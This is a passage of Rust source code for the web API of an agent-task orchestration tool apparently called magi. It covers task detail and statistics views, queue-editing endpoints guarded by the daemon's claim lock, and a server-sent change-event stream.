7231            None => TaskView::from(task),
7232        }
7233        .with_admission(&admission, &ui.queue, inv.as_ref(), &ui.home);
7234        Ok(Json(view))
7235    })
7236    .await
7237}
7238
7239async fn task_detail(
7240    State(ui): State<Arc<Ui>>,
7241    Path(id): Path<String>,
7242) -> ApiResult<Json<TaskDetailView>> {
7243    blocking(move || {
7244        let id = resolve_task(&ui.queue, &id)?;
7245        let task = ui
7246            .queue
7247            .get(&id)
7248            .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
7249        let inv = if task.status == TaskStatus::Blocked {
7250            Some(crate::blockers::Inventory::load_for(
7251                &ui.queue,
7252                &ui.questions,
7253                &task,
7254            ))
7255        } else {
7256            None
7257        };
7258        let mut history = task_history(&task, |id| read_run(&ui.runs, id).ok());
7259        mark_badges(&ui, &task, &mut history);
7260        let runs_unreadable = history.iter().filter(|h| !h.readable).count();
7261        let max_attempts = task.effective_attempt_limit(daemon::Opts::default().max_attempts);
7262        let origin = task.followup.as_ref().map(|fu| {
7263            followup_origin(
7264                fu,
7265                |tid| ui.queue.get(tid).ok(),
7266                |rid| read_run(&ui.runs, rid).ok(),
7267            )
7268        });
7269        let flow = task_flow(&task, &history, max_attempts, origin.as_ref());
7270        let admission = daemon::AdmissionSnapshot::capture(&ui.home, Timestamp::now());
7271        let task_view = match inv.as_ref() {
7272            Some(inv) => TaskView::with_inventory(task, inv),
7273            None => TaskView::from(task),
7274        }
7275        .with_admission(&admission, &ui.queue, inv.as_ref(), &ui.home)
7276        .with_recovery_decisions(&ui.questions);
7277        Ok(Json(TaskDetailView {
7278            max_attempts,
7279            flow,
7280            followup_origin: origin,
7281            passes_total: history.len(),
7282            runs_distinct: distinct_runs(&task_view.task.runs),
7283            history,
7284            runs_unreadable,
7285            attempts_note: ATTEMPTS_NOTE,
7286            task: task_view,
7287        }))
7288    })
7289    .await
7290}
7291
7292/// A rate together with its denominator, so the client can tell "computed as
7293/// 0%" apart from "no data to compute it from" — both would otherwise
7294/// serialize as `0.0`. `None` means the denominator was zero.
7295#[derive(Debug, Serialize)]
7296struct RateView {
7297    pct: f64,
7298    denominator: usize,
7299}
7300
7301impl RateView {
7302    fn of(numerator: usize, denominator: usize) -> Option<Self> {
7303        (denominator > 0).then(|| Self {
7304            pct: 100.0 * numerator as f64 / denominator as f64,
7305            denominator,
7306        })
7307    }
7308}
7309
7310/// [`crate::stats::Totals`] for the wire: the raw counters plus the derived
7311/// rates, each paired with its own denominator via [`RateView`] rather than
7312/// exposing `Stats`' own percentage methods directly — see this module's
7313/// doc for why `Stats` itself is never serialized.
7314#[derive(Debug, Serialize)]
7315struct StatsTotalsView {
7316    runs: usize,
7317    merged: usize,
7318    ready: usize,
7319    blocked: usize,
7320    failed: usize,
7321    stalled: usize,
7322    verified_noop: usize,
7323    superseded: usize,
7324    in_progress: usize,
7325    completion_rate: Option<RateView>,
7326    tallied: usize,
7327    split: usize,
7328    split_rate: Option<RateView>,
7329    deliberated: usize,
7330    minds_changed: usize,
7331    converged: usize,
7332    review_rounds: usize,
7333}
7334
7335impl From<&stats::Totals> for StatsTotalsView {
7336    fn from(t: &stats::Totals) -> Self {
7337        Self {
7338            runs: t.runs,
7339            merged: t.merged,
7340            ready: t.ready,
7341            blocked: t.blocked,
7342            failed: t.failed,
7343            stalled: t.stalled,
7344            verified_noop: t.verified_noop,
7345            superseded: t.superseded,
7346            in_progress: t.in_progress,
7347            completion_rate: RateView::of(t.merged + t.ready, t.runs),
7348            tallied: t.tallied,
7349            split: t.split,
7350            split_rate: RateView::of(t.split, t.tallied),
7351            deliberated: t.deliberated,
7352            minds_changed: t.minds_changed,
7353            converged: t.converged,
7354            review_rounds: t.review_rounds,
7355        }
7356    }
7357}
7358
7359/// [`crate::stats::AgentStats`] for the wire.
7360#[derive(Debug, Serialize)]
7361struct AgentStatsView {
7362    agent: String,
7363    entered: usize,
7364    wins: usize,
7365    empty: usize,
7366    win_rate: Option<RateView>,
7367    competitive_entered: usize,
7368    competitive_wins: usize,
7369    competitive_win_rate: Option<RateView>,
7370    solo_entered: usize,
7371    solo_adopted: usize,
7372    solo_adoption_rate: Option<RateView>,
7373}
7374
7375impl From<&stats::AgentStats> for AgentStatsView {
7376    fn from(a: &stats::AgentStats) -> Self {
7377        Self {
7378            agent: a.agent.clone(),
7379            entered: a.entered,
7380            wins: a.wins,
7381            empty: a.empty,
7382            win_rate: RateView::of(a.wins, a.entered),
7383            competitive_entered: a.competitive_entered,
7384            competitive_wins: a.competitive_wins,
7385            competitive_win_rate: RateView::of(a.competitive_wins, a.competitive_entered),
7386            solo_entered: a.solo_entered,
7387            solo_adopted: a.solo_adopted,
7388            solo_adoption_rate: RateView::of(a.solo_adopted, a.solo_entered),
7389        }
7390    }
7391}
7392
7393/// [`crate::stats::ReviewerStats`] for the wire. `adopted_per_round` is a
7394/// ratio, not a percentage, so it carries no [`RateView`] — just the raw
7395/// value, `None` when `rounds` is zero.
7396#[derive(Debug, Serialize)]
7397struct ReviewerStatsView {
7398    agent: String,
7399    rounds: usize,
7400    seated: usize,
7401    submitted: usize,
7402    adopted: usize,
7403    unique: usize,
7404    timeouts: usize,
7405    adopted_per_round: Option<f64>,
7406    precision: Option<RateView>,
7407    unique_rate: Option<RateView>,
7408    timeout_rate: Option<RateView>,
7409}
7410
7411impl From<&stats::ReviewerStats> for ReviewerStatsView {
7412    fn from(r: &stats::ReviewerStats) -> Self {
7413        Self {
7414            agent: r.agent.clone(),
7415            rounds: r.rounds,
7416            seated: r.seated,
7417            submitted: r.submitted,
7418            adopted: r.adopted,
7419            unique: r.unique,
7420            timeouts: r.timeouts,
7421            adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
7422            precision: RateView::of(r.adopted, r.submitted),
7423            unique_rate: RateView::of(r.unique, r.submitted),
7424            timeout_rate: RateView::of(r.timeouts, r.seated),
7425        }
7426    }
7427}
7428
7429/// [`crate::stats::AdvisorStats`] for the wire.
7430///
7431/// `reflection_rate` is approximate by construction — see
7432/// [`crate::stats::AdvisorStats`]'s own doc — and the UI note that carries
7433/// that caveat is static text in `index.html`, not a field here.
7434#[derive(Debug, Serialize)]
7435struct AdvisorStatsView {
7436    agent: String,
7437    seated: usize,
7438    proposed: usize,
7439    absent: usize,
7440    faint: usize,
7441    strong: usize,
7442    reflection_rate: Option<RateView>,
7443}
7444
7445impl From<&stats::AdvisorStats> for AdvisorStatsView {
7446    fn from(a: &stats::AdvisorStats) -> Self {
7447        Self {
7448            agent: a.agent.clone(),
7449            seated: a.seated,
7450            proposed: a.proposed,
7451            absent: a.absent,
7452            faint: a.faint,
7453            strong: a.strong,
7454            reflection_rate: RateView::of(a.strong, a.proposed),
7455        }
7456    }
7457}
7458
7459/// [`crate::stats::E2eStats`] for the wire.
7460#[derive(Debug, Serialize)]
7461struct E2eStatsView {
7462    rounds: usize,
7463    failures: usize,
7464    sole_detections: usize,
7465    deferred: usize,
7466    sole_rate: Option<RateView>,
7467}
7468
7469impl From<&stats::E2eStats> for E2eStatsView {
7470    fn from(e: &stats::E2eStats) -> Self {
7471        Self {
7472            rounds: e.rounds,
7473            failures: e.failures,
7474            sole_detections: e.sole_detections,
7475            deferred: e.deferred,
7476            sole_rate: RateView::of(e.sole_detections, e.failures),
7477        }
7478    }
7479}
7480
7481/// [`crate::stats::ReleaseBumpStats`] for the wire.
7482///
7483/// `clean` is sent as a raw count, computed the same way
7484/// [`stats::ReleaseBumpStats::clean`] computes it (`recorded -
7485/// needs_attention`) — never derived client-side from `automerge_enabled`,
7486/// which would misclassify a `merged_directly` bump (automerge rejected, but
7487/// magi merged it directly, so no human involvement) as needing attention.
7488#[derive(Debug, Serialize)]
7489struct ReleaseBumpStatsView {
7490    merged: usize,
7491    recorded: usize,
7492    pr_opened: usize,
7493    automerge_enabled: usize,
7494    merged_directly: usize,
7495    needs_attention: usize,
7496    clean: usize,
7497    coverage_rate: Option<RateView>,
7498    automerge_rate: Option<RateView>,
7499    attention_rate: Option<RateView>,
7500}
7501
7502impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
7503    fn from(b: &stats::ReleaseBumpStats) -> Self {
7504        Self {
7505            merged: b.merged,
7506            recorded: b.recorded,
7507            pr_opened: b.pr_opened,
7508            automerge_enabled: b.automerge_enabled,
7509            merged_directly: b.merged_directly,
7510            needs_attention: b.needs_attention,
7511            clean: b.clean(),
7512            coverage_rate: RateView::of(b.recorded, b.merged),
7513            automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
7514            attention_rate: RateView::of(b.needs_attention, b.recorded),
7515        }
7516    }
7517}
7518
7519/// [`crate::queue::TaskCounts`] for the wire.
7520#[derive(Debug, Serialize)]
7521struct TaskCountsView {
7522    queued: usize,
7523    running: usize,
7524    done: usize,
7525    failed: usize,
7526    held: usize,
7527    blocked: usize,
7528    parked: usize,
7529}
7530
7531impl From<crate::queue::TaskCounts> for TaskCountsView {
7532    fn from(c: crate::queue::TaskCounts) -> Self {
7533        Self {
7534            queued: c.queued,
7535            running: c.running,
7536            done: c.done,
7537            failed: c.failed,
7538            held: c.held,
7539            blocked: c.blocked,
7540            parked: c.parked,
7541        }
7542    }
7543}
7544
7545/// [`crate::stats::RepoStats`] for the wire, one row per repository with
7546/// runs recorded — the summary the UI's repository selector is built from.
7547/// Carries no nested `Stats`: picking a repo means re-fetching
7548/// `GET /api/stats?repo=<repo>`, which reuses this same route's own
7549/// aggregation rather than duplicating it.
7550#[derive(Debug, Serialize)]
7551struct RepoSummaryView {
7552    /// `RunState.repo` exactly as recorded — the value `?repo=` matches
7553    /// against, full path and all (see [`stats_get`]'s own doc for why).
7554    repo: String,
7555    /// Display name only; never used for matching.
7556    name: String,
7557    runs: usize,
7558    completion_rate: Option<RateView>,
7559}
7560
7561impl From<&stats::RepoStats> for RepoSummaryView {
7562    fn from(r: &stats::RepoStats) -> Self {
7563        let t = &r.stats.totals;
7564        Self {
7565            repo: r.repo.to_string_lossy().into_owned(),
7566            name: r.name.clone(),
7567            runs: t.runs,
7568            completion_rate: RateView::of(t.merged + t.ready, t.runs),
7569        }
7570    }
7571}
7572
7573/// `GET /api/stats` - the whole answer. `Stats` itself carries no
7574/// `Serialize`, deliberately: its fields (and the CLI text `report::stats`
7575/// renders from them) are free to grow without that becoming a wire-contract
7576/// change, and its zero-denominator rate methods (`0.0`) cannot tell "no
7577/// data" from "computed and it really is zero" the way [`RateView`] does.
7578#[derive(Debug, Serialize)]
7579struct StatsView {
7580    totals: StatsTotalsView,
7581    /// Best win rate first, as [`stats::collect`] already sorts it.
7582    agents: Vec<AgentStatsView>,
7583    /// Most adopted-per-round first, as [`stats::collect`] already sorts it.
7584    reviewers: Vec<ReviewerStatsView>,
7585    /// Highest reflection rate first, as [`stats::collect`] already sorts it.
7586    advisors: Vec<AdvisorStatsView>,
7587    e2e: E2eStatsView,
7588    release_bumps: ReleaseBumpStatsView,
7589    queue: Option<TaskCountsView>,
7590    /// Same count and same meaning as [`HealthView::runs_unreadable`] - see
7591    /// that field's doc. Asserted to match it in
7592    /// `stats_runs_unreadable_matches_health`.
7593    ///
7594    /// Always the whole-workload count, even when `repo` narrows every other
7595    /// field to one repository - an unreadable `run.json` carries no `repo`
7596    /// a per-repository count could attribute it to, and the queue/health
7597    /// views this mirrors never scope it either. The UI must not present it
7598    /// as if it were scoped to the selected repository.
7599    runs_unreadable: usize,
7600    /// Every repository with runs recorded, most runs first - what the UI's
7601    /// repository selector is built from. Always the full list regardless of
7602    /// `repo`, so switching repositories never needs a second request.
7603    repos: Vec<RepoSummaryView>,
7604    /// Runs per local day over the last 30 days, oldest first, always 30
7605    /// entries. Days are the *server's* local dates (the UI must not convert
7606    /// them again), cut by run creation and classified by current status.
7607    /// Narrowed by `repo` like every other run-derived field.
7608    daily: Vec<DailyStatsView>,
7609    /// The `?repo=` value this response was narrowed to, echoed back so the
7610    /// UI can confirm its selection round-tripped. `None` for the aggregate,
7611    /// all-repositories view.
7612    repo: Option<String>,
7613    /// Agent ids left out of `agents` / `reviewers` / `advisors` because the
7614    /// current config roster no longer lists them. Empty with `?all=true`, an
7615    /// unreadable config, or when nothing was retired.
7616    retired_hidden: Vec<String>,
7617}
7618
7619/// One day of [`StatsView::daily`].
7620#[derive(Debug, Serialize)]
7621struct DailyStatsView {
7622    /// `YYYY-MM-DD`, server-local.
7623    date: String,
7624    runs: usize,
7625    merged: usize,
7626    ready: usize,
7627    other: usize,
7628    /// `None` on a day with no runs, so it never reads as 0%.
7629    completion_rate: Option<RateView>,
7630}
7631
7632impl From<&stats::DayBucket> for DailyStatsView {
7633    fn from(b: &stats::DayBucket) -> Self {
7634        Self {
7635            date: b.date.to_string(),
7636            runs: b.runs,
7637            merged: b.merged,
7638            ready: b.ready,
7639            other: b.other,
7640            completion_rate: RateView::of(b.merged + b.ready, b.runs),
7641        }
7642    }
7643}
7644
7645/// How many days [`StatsView::daily`] covers.
7646const STATS_DAILY_DAYS: usize = 30;
7647
7648/// `?repo=<path>` narrows `GET /api/stats` to the runs recorded against one
7649/// repository. Matched by full-path equality against `RunState.repo` only
7650/// (see [`stats::filter_repo`]) - never resolved by name the way the CLI's
7651/// `--repo` is, because the value here always came from this same route's
7652/// own `repos` list in an earlier response, never typed by a human. A value
7653/// matching no run is a 404, not an empty aggregate: the caller asked for a
7654/// specific, named repository, and silently returning zeroes would look
7655/// exactly like a repository that has runs but none of interest.
7656#[derive(Debug, Default, Deserialize)]
7657#[serde(default)]
7658struct StatsQuery {
7659    repo: Option<String>,
7660    /// `?all=true` keeps agents that are no longer in the roster.
7661    all: bool,
7662    /// The dashboard fetches queue counts independently of run history.
7663    runs_only: bool,
7664}
7665
7666/// `GET /api/stats` - task and run statistics for the dashboard, aggregated
7667/// by [`stats::collect`] (or [`stats::collect_refs`] over one repository's
7668/// runs when `?repo=` narrows it), the same counting logic `magi stats`
7669/// prints from. Reads every readable run on disk, exactly as
7670/// [`runs_unreadable`] does, so the two counts can never drift apart the way
7671/// a separately-maintained tally could.
7672async fn stats_get(
7673    State(ui): State<Arc<Ui>>,
7674    Query(q): Query<StatsQuery>,
7675) -> ApiResult<Json<StatsView>> {
7676    blocking(move || {
7677        let states: Vec<RunState> = run_ids(&ui.runs)
7678            .into_iter()
7679            .filter_map(|id| read_run(&ui.runs, &id).ok())
7680            .collect();
7681        let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
7682            .iter()
7683            .map(RepoSummaryView::from)
7684            .collect();
7685        let mut scoped: Vec<&RunState> = states.iter().collect();
7686        let mut collected = match &q.repo {
7687            Some(repo) => {
7688                let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
7689                if filtered.is_empty() {
7690                    return Err(ApiError::not_found(format!(
7691                        "no runs recorded against repo `{repo}`"
7692                    )));
7693                }
7694                scoped = filtered.clone();
7695                stats::collect_refs(filtered)
7696            }
7697            None => stats::collect(&states),
7698        };
7699        if !q.all {
7700            let repo = q
7701                .repo
7702                .as_deref()
7703                .map_or_else(|| ui.repo.clone(), PathBuf::from);
7704            stats::retain_current_roster(&mut collected, &repo);
7705        }
7706        let daily = stats::daily(
7707            scoped,
7708            jiff::Zoned::now().date(),
7709            &jiff::tz::TimeZone::system(),
7710            STATS_DAILY_DAYS,
7711        );
7712        let queue_counts = (!q.runs_only)
7713            .then(|| TaskCountsView::from(crate::queue::TaskCounts::of(&ui.queue.list())));
7714        Ok(Json(StatsView {
7715            totals: StatsTotalsView::from(&collected.totals),
7716            agents: collected.agents.iter().map(AgentStatsView::from).collect(),
7717            reviewers: collected
7718                .reviewers
7719                .iter()
7720                .map(ReviewerStatsView::from)
7721                .collect(),
7722            advisors: collected
7723                .advisors
7724                .iter()
7725                .map(AdvisorStatsView::from)
7726                .collect(),
7727            e2e: E2eStatsView::from(&collected.e2e),
7728            release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
7729            queue: queue_counts,
7730            runs_unreadable: runs_unreadable(&ui.runs),
7731            repos,
7732            daily: daily.iter().map(DailyStatsView::from).collect(),
7733            repo: q.repo.clone(),
7734            retired_hidden: collected.retired_hidden.clone(),
7735        }))
7736    })
7737    .await
7738}
7739
7740/// The body of `POST /api/queue/{id}/hold`, sent empty when the operator
7741/// gives no reason - which must keep working, since not every hold has one.
7742#[derive(Debug, Default, Deserialize)]
7743#[serde(default, deny_unknown_fields)]
7744struct HoldBody {
7745    reason: Option<String>,
7746}
7747
7748async fn queue_hold(
7749    State(ui): State<Arc<Ui>>,
7750    Path(id): Path<String>,
7751    body: std::result::Result<Json<HoldBody>, JsonRejection>,
7752) -> ApiResult<Json<TaskView>> {
7753    // An absent body is the ordinary case - most holds are unexplained, and
7754    // that has to stay a one-tap action rather than a form. A body that is
7755    // present and malformed is still a bad request.
7756    let body = match body {
7757        Ok(Json(body)) => body,
7758        Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
7759        Err(e) => return Err(ApiError::bad_request(e.body_text())),
7760    };
7761    let reason = body.reason.filter(|r| !r.trim().is_empty());
7762    mutate(ui, id, move |t| {
7763        t.hold_manual(reason.clone());
7764        Ok(())
7765    })
7766    .await
7767}
7768
7769#[derive(Deserialize)]
7770#[serde(deny_unknown_fields)]
7771struct ReassignBody {
7772    repo: PathBuf,
7773}
7774
7775async fn queue_reassign(
7776    State(ui): State<Arc<Ui>>,
7777    Path(id): Path<String>,
7778    Json(body): Json<ReassignBody>,
7779) -> ApiResult<Json<TaskView>> {
7780    let home = ui.home.clone();
7781    let task = crate::task_reassign::reassign(&ui.queue, &home, &ui.repo, &id, &body.repo, "web")
7782        .await
7783        .map_err(ApiError::bad_request_from)?;
7784    let notes = crate::task_reassign::advisory_notes(&task, &home);
7785    let mut view = TaskView::from(task);
7786    view.reassignment_notes = notes;
7787    Ok(Json(view))
7788}
7789
7790async fn queue_release(
7791    State(ui): State<Arc<Ui>>,
7792    Path(id): Path<String>,
7793) -> ApiResult<Json<TaskView>> {
7794    mutate(ui, id, |t| {
7795        t.release_operator("web", None);
7796        Ok(())
7797    })
7798    .await
7799}
7800
7801#[derive(Debug, Deserialize)]
7802#[serde(deny_unknown_fields)]
7803struct AttemptLimitBody {
7804    // Required even when clearing: missing fields must not silently erase an override.
7805    attempt_limit: serde_json::Value,
7806}
7807
7808async fn queue_attempt_limit(
7809    State(ui): State<Arc<Ui>>,
7810    Path(id): Path<String>,
7811    body: std::result::Result<Json<AttemptLimitBody>, JsonRejection>,
7812) -> ApiResult<Json<TaskView>> {
7813    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7814    let limit = serde_json::from_value::<Option<std::num::NonZeroUsize>>(body.attempt_limit)
7815        .map_err(|_| ApiError::bad_request("attempt_limit must be a positive integer or null"))?;
7816    mutate(ui, id, move |t| t.change_attempt_limit(limit)).await
7817}
7818
7819#[derive(Debug, Deserialize)]
7820#[serde(deny_unknown_fields)]
7821struct ImplementersBody {
7822    implementers: u8,
7823}
7824
7825async fn queue_implementers(
7826    State(ui): State<Arc<Ui>>,
7827    Path(id): Path<String>,
7828    body: std::result::Result<Json<ImplementersBody>, JsonRejection>,
7829) -> ApiResult<Json<TaskView>> {
7830    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7831    mutate(ui, id, move |t| t.change_implementers(body.implementers)).await
7832}
7833
7834#[derive(Debug, Deserialize)]
7835#[serde(deny_unknown_fields)]
7836struct UrgentBody {
7837    urgent: bool,
7838}
7839
7840async fn queue_urgent(
7841    State(ui): State<Arc<Ui>>,
7842    Path(id): Path<String>,
7843    body: std::result::Result<Json<UrgentBody>, JsonRejection>,
7844) -> ApiResult<Json<TaskView>> {
7845    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7846    mutate(ui, id, move |t| t.set_urgent(body.urgent)).await
7847}
7848
7849#[derive(Debug, Deserialize)]
7850#[serde(deny_unknown_fields)]
7851struct ImmediateBody {
7852    immediate: bool,
7853}
7854
7855async fn queue_immediate(
7856    State(ui): State<Arc<Ui>>,
7857    Path(id): Path<String>,
7858    body: std::result::Result<Json<ImmediateBody>, JsonRejection>,
7859) -> ApiResult<Json<TaskView>> {
7860    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7861    mutate(ui, id, move |t| t.set_immediate(body.immediate)).await
7862}
7863
7864/// The body of `POST /api/queue/{id}/priority`.
7865#[derive(Debug, Deserialize)]
7866#[serde(deny_unknown_fields)]
7867struct PriorityBody {
7868    priority: i32,
7869}
7870
7871/// `POST /api/queue/{id}/priority` - the up/down control on the Queue card.
7872///
7873/// [`Task::set_priority`] is the one place the "not while running" rule is
7874/// stated; this route only carries the body to it and lets its `Err` become
7875/// the 4xx the card shows.
7876async fn queue_priority(
7877    State(ui): State<Arc<Ui>>,
7878    Path(id): Path<String>,
7879    body: std::result::Result<Json<PriorityBody>, JsonRejection>,
7880) -> ApiResult<Json<TaskView>> {
7881    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7882    mutate(ui, id, move |t| t.set_priority(body.priority)).await
7883}
7884
7885/// The body of `POST /api/queue/{id}/edit`.
7886#[derive(Debug, Deserialize)]
7887#[serde(deny_unknown_fields)]
7888struct EditBody {
7889    title: String,
7890    instruction: String,
7891    /// Save even though the new text names a branch, commit or pull request
7892    /// that unfinished work already owns.
7893    #[serde(default)]
7894    force: bool,
7895}
7896
7897/// `POST /api/queue/{id}/edit` - the full-text replacement the phone's edit
7898/// sheet sends. [`Task::edit`] refuses anything but `queued` and `held`, and
7899/// that refusal's message is what the sheet shows back.
7900async fn queue_edit(
7901    State(ui): State<Arc<Ui>>,
7902    Path(id): Path<String>,
7903    body: std::result::Result<Json<EditBody>, JsonRejection>,
7904) -> ApiResult<Json<TaskView>> {
7905    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7906    // The judge is an agent call, so it is awaited here, outside the claim
7907    // `mutate` holds: a daemon must not be kept waiting on it. What it saw is
7908    // remembered, and the save refuses if the task moved underneath it.
7909    let mut judged: Option<(String, PathBuf)> = None;
7910    if !body.force {
7911        let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
7912        let (id, text) = (id.clone(), body.instruction.clone());
7913        let (seen, hits) = blocking(move || {
7914            let id = resolve_task(&queue, &id)?;
7915            let t = queue.get(&id)?;
7916            if text == t.instruction {
7917                return Ok((None, Vec::new()));
7918            }
7919            let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
7920            Ok((Some((t.instruction, t.repo)), hits))
7921        })
7922        .await?;
7923        if let Some((_, repo)) = &seen {
7924            let cfg = crate::config::Config::discover(repo, None)
7925                .ok()
7926                .map(|(c, _)| c);
7927            let screened =
7928                crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
7929                    .await
7930                    .map_err(|dup| {
7931                        ApiError::conflict(dup.render(
7932                            "Nothing was saved. If it is not a duplicate, repeat the request \
7933                             with \"force\": true.",
7934                        ))
7935                    })?;
7936            if let crate::dupes::Screened::Unjudged(why) = screened {
7937                tracing::warn!(%why, "task edit saved without a duplicate-work judgement");
7938            }
7939        }
7940        judged = seen;
7941    }
7942    let force = body.force;
7943    mutate(ui, id, move |t| {
7944        if !force && body.instruction != t.instruction {
7945            match &judged {
7946                Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
7947                _ => {
7948                    anyhow::bail!("the task changed while it was being checked; repeat the request")
7949                }
7950            }
7951        }
7952        t.edit(body.title.clone(), body.instruction.clone())
7953    })
7954    .await
7955}
7956
7957#[derive(Debug, Default, Deserialize)]
7958#[serde(default, deny_unknown_fields)]
7959struct CompleteBody {
7960    reason: Option<String>,
7961    discard: bool,
7962}
7963
7964/// Close through the same audited merge/discard guard as the CLI.
7965async fn queue_done(
7966    State(ui): State<Arc<Ui>>,
7967    Path(id): Path<String>,
7968    body: std::result::Result<Json<CompleteBody>, JsonRejection>,
7969) -> ApiResult<Json<TaskView>> {
7970    let body = match body {
7971        Ok(Json(body)) => body,
7972        Err(JsonRejection::MissingJsonContentType(_)) => CompleteBody::default(),
7973        Err(e) => return Err(ApiError::bad_request(e.body_text())),
7974    };
7975    let state = Arc::clone(&ui);
7976    let claimed = blocking(move || claim_task(&state.queue, &id)).await?;
7977    let task = crate::task_completion::close_claimed(
7978        &ui.queue,
7979        &ui.home,
7980        claimed,
7981        crate::queue::CompletionActor::Web,
7982        body.reason,
7983        body.discard,
7984    )
7985    .await
7986    .map_err(ApiError::completion)?;
7987    Ok(Json(TaskView::from(task)))
7988}
7989
7990#[derive(Debug, Deserialize)]
7991#[serde(deny_unknown_fields)]
7992struct ReopenBody {
7993    reason: String,
7994}
7995
7996/// Restore a safely unlanded completion to Held, never straight to execution.
7997async fn queue_reopen(
7998    State(ui): State<Arc<Ui>>,
7999    Path(id): Path<String>,
8000    Json(body): Json<ReopenBody>,
8001) -> ApiResult<Json<TaskView>> {
8002    let state = Arc::clone(&ui);
8003    let claimed = blocking(move || claim_task(&state.queue, &id)).await?;
8004    let task = crate::task_completion::reopen_claimed(
8005        &ui.queue,
8006        &ui.home,
8007        claimed,
8008        crate::queue::CompletionActor::Web,
8009        &body.reason,
8010    )
8011    .await
8012    .map_err(ApiError::completion)?;
8013    Ok(Json(TaskView::from(task)))
8014}
8015
8016/// `DELETE /api/queue/{id}`.
8017///
8018/// Remove a task from the backlog. Refused only while a live daemon's heartbeat
8019/// names this task: a `running` status or an orphaned `.lock` left behind by a
8020/// killed daemon is a leftover, and treating either as authority made the
8021/// task undeletable from the phone for good. The associated runs, if any, are
8022/// kept: a run is self-contained history and not an appendage of the task.
8023async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
8024    blocking(move || {
8025        let id = resolve_task(&ui.queue, &id)?;
8026        let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
8027        ui.queue
8028            .remove(&id, in_flight, &ui.questions)
8029            .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
8030        Ok(StatusCode::NO_CONTENT)
8031    })
8032    .await
8033}
8034
8035/// Resolve the operator's reference, then reload under the same claim a daemon takes.
8036fn claim_task(queue: &Queue, reference: &str) -> ApiResult<(crate::queue::Claim, Task)> {
8037    let id = resolve_task(queue, reference)?;
8038    let claim = queue.claim(&id).map_err(|e| {
8039        ApiError::conflict(format!(
8040            "{e:#} - a daemon is running this task, so it cannot be \
8041             changed from here yet; wait until it is released, then retry"
8042        ))
8043    })?;
8044    Ok((claim, queue.get(&id)?))
8045}
8046
8047/// Read a task, change it, write it back, under the queue's own lock.
8048///
8049/// Taking the same claim a daemon takes is what makes hold, release,
8050/// priority, edit, and done safe to press while magi is running: without it
8051/// the daemon's next save would land on top of the operator's change and
8052/// undo it. `change` can refuse - [`Task::set_priority`] and [`Task::edit`]
8053/// both do, for a running task - and that refusal becomes the 4xx the card
8054/// shows, same as any other domain rule.
8055async fn mutate(
8056    ui: Arc<Ui>,
8057    id: String,
8058    change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
8059) -> ApiResult<Json<TaskView>> {
8060    blocking(move || {
8061        let task = {
8062            let (_claim, mut task) = claim_task(&ui.queue, &id)?;
8063            change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
8064                Ok(dup) => ApiError::conflict(dup.render(
8065                    "Nothing was saved. If it is not a duplicate, repeat the request with \
8066                     \"force\": true.",
8067                )),
8068                Err(e) => ApiError::bad_request_from(e),
8069            })?;
8070            ui.queue.put(&mut task)?;
8071            task
8072        };
8073        let inv = (task.status == TaskStatus::Blocked)
8074            .then(|| crate::blockers::Inventory::load_for(&ui.queue, &ui.questions, &task));
8075        let admission = daemon::AdmissionSnapshot::capture(&ui.home, Timestamp::now());
8076        let view = match inv.as_ref() {
8077            Some(inv) => TaskView::with_inventory(task, inv),
8078            None => TaskView::from(task),
8079        }
8080        .with_admission(&admission, &ui.queue, inv.as_ref(), &ui.home);
8081        Ok(Json(view))
8082    })
8083    .await
8084}
8085
8086/// The change stream: one revision number per store, on connect and whenever
8087/// any of them moves.
8088///
8089/// One shared worker scans stores; clients only forward its notifications.
8090async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
8091    ui.monitor.ensure_worker(&ui);
8092    let mut broadcast_rx = ui.monitor.broadcaster.subscribe();
8093    let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
8094
8095    let state = Arc::clone(&ui);
8096    tokio::spawn(async move {
8097        let initial_revisions = {
8098            let guard = match state.monitor.latest.lock() {
8099                Ok(g) => g,
8100                Err(p) => p.into_inner(),
8101            };
8102            guard.as_ref().map(|(r, _)| *r)
8103        };
8104        if let Some(revisions) = initial_revisions {
8105            let initial_payload = serde_json::json!({
8106                "queue_rev": revisions.0,
8107                "runs_rev": revisions.1,
8108                "questions_rev": revisions.2,
8109                "talks_rev": revisions.3,
8110                "notifications_rev": revisions.4,
8111                "loop_rev": revisions.5,
8112            });
8113
8114            if let Ok(event) = Event::default().event("change").json_data(initial_payload) {
8115                if tx.send(event).await.is_err() {
8116                    return;
8117                }
8118            }
8119        }
8120
8121        loop {
8122            match tokio::select! {
8123                _ = tx.closed() => return,
8124                value = broadcast_rx.recv() => value,
8125            } {
8126                Ok(notif) => {
8127                    let Ok(event) = Event::default().event("change").json_data(notif.payload)
8128                    else {
8129                        break;
8130                    };
8131                    if tx.send(event).await.is_err() {
8132                        break;
8133                    }
8134                }
8135                Err(tokio::sync::broadcast::error::RecvError::Lagged(_)) => {
8136                    let revs = {
8137                        let guard = match state.monitor.latest.lock() {
8138                            Ok(g) => g,
8139                            Err(p) => p.into_inner(),
8140                        };
8141                        guard.as_ref().map(|(r, _)| *r)
8142                    };
